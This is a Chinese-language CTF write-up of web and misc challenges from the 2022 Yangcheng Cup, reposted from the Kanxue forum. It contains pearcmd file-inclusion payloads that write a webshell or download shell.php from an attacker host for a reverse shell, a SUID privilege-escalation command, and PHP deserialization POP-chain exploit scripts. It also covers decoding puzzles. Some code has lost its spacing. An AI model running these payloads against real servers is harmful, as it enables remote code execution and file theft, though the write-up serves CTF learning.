|
本文为看雪论坛优秀文章
看雪论坛作者ID:ArT1_
WEB
rce_me
题目给了源码。
<?php
(empty($_GET[&#34;file&#34;])) ?highlight_file(__FILE__) : $file=$_GET[&#34;file&#34;];
functionfliter($var): bool{
$blacklist=[&#34;<&#34;,&#34;?&#34;,&#34;$&#34;,&#34;[&#34;,&#34;]&#34;,&#34;;&#34;,&#34;eval&#34;,&#34;>&#34;,&#34;@&#34;,&#34;_&#34;,&#34;create&#34;,&#34;install&#34;,&#34;pear&#34;];
foreach($blacklistas$blackword){
if(stristr($var, $blackword)) returnFalse;
}
returnTrue;
}
if(fliter($_SERVER[&#34;QUERY_STRING&#34;]))
{
include$file;
}
else
{
die(&#34;Noooo0&#34;);
}
题目提示要rce,而漏洞的利用点是一个include文件包含。
php环境限制了allow_url_include,所以能getshell的data和php://input都无法使用。
直接包含flag回显权限不够,所以考虑rce提权。
黑名单其实提供了一点线索,暗示本题通过pearcmd实现RCE。
首先需要确认是否存在pearcmd.php文件,尝试包含,发现在当前目录和/usr/local/lib/php/目录下都存在pearcmd.php。
pearcmd的常见思路是写文件getshell。
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
但是本题做了过滤,file由于是get传参,因此可以url编码绕过pe%61rcmd.php。
但是在写文件时却不能采用此方法,$_SERVER[&#34;QUERY_STRING&#34;]并没有提供url解码的功能,而且将<?编码会导致文件不能将代码识别为php而失败。
所以要转变一下思路,pearcmd.php的用法有很多,其中download可以下载文件,而且不经过include意味着不受allow_url_include的影响,因此可以实现远程文件下载。
payload:
http://80.endpoint-de4ae4b3e84d47a8b1eea291004b34a0.dasc.buuoj.cn:81&&+download+http://ip:port/shell.php
利用一句话木马反弹shell,再进行一个suid的提权。
payload:
find / -perm -u=s -type f 2>/dev/null
final payload:
/usr/bin/date -f /flag
step_by_step-v3
<?php
error_reporting(0);
classyang
{
public$y1;//$y1 = new bei() $y1 = new cheng()
publicfunction__construct()
{
$this->y1->magic();//访问 __call()
}
publicfunction__tostring()
{
($this->y1)();// phpinfo()
}
publicfunctionhint()
{
include_once(&#39;hint.php&#39;);
if(isset($_GET[&#39;file&#39;]))
{
$file=$_GET[&#39;file&#39;];
if(preg_match(&#34;/$hey_mean_then/is&#34;, $file))
{
die(&#34;nonono&#34;);
}
include_once($file);
}
}
}
classcheng
{
public$c1;//$c1 = new yang()
publicfunction__wakeup()
{
$this->c1->flag=&#39;flag&#39;;
}
publicfunction__invoke()
{
$this->c1->hint();//hint
}
}
classbei
{
public$b1;//$b1 = new yang()
public$b2;
publicfunction__set($k1,$k2) //不可访问的变量赋值
{
print$this->b1;
}
publicfunction__call($n1,$n2)
{
echo$this->b1;
}
}
if(isset($_POST[&#39;ans&#39;])) {
unserialize($_POST[&#39;ans&#39;]);
} else{
highlight_file(__FILE__);
}
?>
利用点在
publicfunction__tostring()
{
($this->y1)();// phpinfo()
}可以读取到phpinfo。
起始点在cheng::__wakeup。
pop:
cheng::__wakeup ->bei::__set -> yang::__tostring
exp:
<?php
// cheng::__wakeup ->bei::__set -> yang::__tostring
classyang{
public$y1;
publicfunction__construct($y1){
$this->y1=$y1;
}
}
classcheng{
public$c1;
publicfunction__construct($c1)
{
$this->c1=$c1;
}
}
classbei{
public$b1;
publicfunction__construct($b1){
$this->b1=$b1;
}
}
$ya=newcheng(newbei(newyang(&#39;phpinfo&#39;)));
$ser=serialize($ya);
echo$ser;
echourlencode($ser);
?>
Safe pop
<?php
error_reporting(E_ALL);
ini_set(&#39;display_errors&#39;, true);
highlight_file(__FILE__);
classFun{
private$func=&#39;call_user_func_array&#39;;
publicfunction__call($f,$p){
call_user_func($this->func,$f,$p);
}
publicfunction__wakeup(){
$this->func=&#39;&#39;;
die(&#34;Don&#39;t serialize me&#34;);
}
}
classTest{
publicfunctiongetFlag(){
system(&#34;cat /flag?&#34;);
}
publicfunction__call($f,$p){
phpinfo();
}
publicfunction__wakeup(){
echo&#34;serialize me?&#34;;
classA{
private$a;
publicfunction__get($p){
if(preg_match(&#34;/Test/&#34;,get_class($this->a))){
return&#34;No test in Prod\n&#34;;
}
return$this->a->$p();
}
}
classB{
public$p;
publicfunction__destruct(){
$p=$this->p;
echo$this->a->$p;
}
}
if(isset($_GET[&#39;pop&#39;])){
$pop=$_GET[&#39;pop&#39;];
$o=unserialize($pop);
thrownewException(&#34;no pop&#34;);
}
题目给了源码,要构造pop链,最终的目的应该是要调用Test类下的getFlag函数,在反序列化时,会销毁对象,从而会触发__destruct(),而__wakeup() :会在unserialize()时,自动调用,优先级高于destruct。
为了调用Test下的getFlag函数,我们需要用到call_user_func()函数进行构造,而call_user_func()函数由call触发。
__call()//在对象中调用一个不可访问方法时调用
注意到class A有一个
return $this->a->$p();
p可控,只要让他成为一个不可访问的方法即可触发call。
__get() :当从不可访问的属性读取数据。例如从对象外部访问由private和protect修饰的属性,就会调用该方法,其中传递的形参为访问属性的属性名
class B有一个调用类的功能,由此来触发class A,class中的destruct又可以由反序列化直接触发,于是就形成了一条完整的链子。
$this->a->$p;
pop:
b::__destruct() -> a::__get() -> Fun::__call() -> Test::getFlag
exp:
<?php
class Fun{
}
class A{
public $a;
public function __construct($a){
$this -> a = $a;
}
}
class B{
public $p;
public $a;
public function __construct($p,$a){
$this -> p = $p;
$this -> a = $a;
}
}
$b = new B(new A(new Fun()),&#34;Test::getFlag&#34;);
echo serialize($b);
$arr = array($b,null);
$serstr = serialize($arr);
$serstr = str_replace(&#34;:0:{}&#34;, &#34;:1:{}&#34;, $serstr);
$serstr = str_replace(&#34;:1;N&#34;, &#34;:0;N&#34;, $serstr);
echo $serstr;
echo &#39;<br/>&#39;;
echo urlencode($serstr);
?>
这道题目的难点在于他还抛出了一个exception异常,导致程序无法正常结束,从而无法触发CG回收机制,也就无法触发destruct方法。
throw new Exception(&#34;no pop&#34;);
这里可以用array数组手动释放对象,从而触发CG回收,只需要把array1的下标更改为0,就会覆盖array0的实例对象。
关于php的CG回收机制(https://pankas.top/2022/08/04/php(phar),这篇文章做了很详细的描述:
https://pankas.top/2022/08/04/php(phar)%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%84%E7%A7%8D%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/)
misc
签到
给了一段编码。
值得注意的是文件名33.txt。
ZMJTPM33TMFGPA3STZ2JVBYSZRMGBZELT44QDLEET5GQTMEITIFJZZOMTH4K2===
这段编码就是base32没有问题,但是解出来却是乱码,于是考虑第二3指代什么。
尝试rot13先解一次码,再base32成功得到flag。
where_is_secret
给了一张图片,并在hint中给了encode脚本。
fromPILimportImage
importmath
defencode(text):
str_len= len(text)
width= math.ceil(str_len**0.5) #长度的一半,并向上取整
im= Image.new(&#34;RGB&#34;, (width, width), 0x0) #新建一张图
x, y= 0, 0
foriintext:
index= ord(i) #转化为数字
rgb= (0, (index&0xFF00) >>8, index&0xFF)
im.putpixel((x, y), rgb)
ifx== width-1:
x= 0
y+= 1
else:
x+= 1
returnim
if__name__== &#39;__main__&#39;:
withopen(&#34;829962.txt&#34;, encoding=&#34;gbk&#34;) asf: #以gbk的方式打开()
all_text= f.read()
im= encode(all_text)
im.save(&#34;out.bmp&#34;)
分析来看就是把文件内容gbk编码,把大于0xff的部分缩小8倍放到图片的g里,小于0xff的部分放到图片的b里。
exp:
fromPILimportImage
img= Image.open(&#39;out.bmp&#39;)
x, y= img.size
flag= &#34;&#34;
flag1= &#34;&#34;
withopen(&#39;ans.txt&#39;) asf:
foriinrange(x):
forjinrange(y):
pix= img.getpixel((j, i))
index= (pix[1] <<8) +pix[2]
flag= flag+chr(index)
# print(flag)
foriinrange(1, len(flag)-1):
print(flag)
if(((ord(flag)<=125andord(flag)>=97) or(ord(flag)<=57andord(flag)>=48)or(ord(flag)<=95andord(flag)>=65))and(ord(flag[i+1])>125orord(flag[i+1])<48) and(ord(flag[i-1])>125orord(flag[i-1])<48) orord(flag)==95):
flag1= flag1+&#34;@&#34;+flag[i-1] +flag +flag[i+1]
print(flag1)
得到的是一段中文,在里面穿插了flag。
由于有原来文本中的数字和字母,这里考虑把有可能的字母数字提取出来,以@为分隔符,根据前后判断人为筛选一遍。
关于pop的部分,之后会再做一个比较详细的整理。
阅读原文:2022羊城杯竞赛 Web题目解析 |
|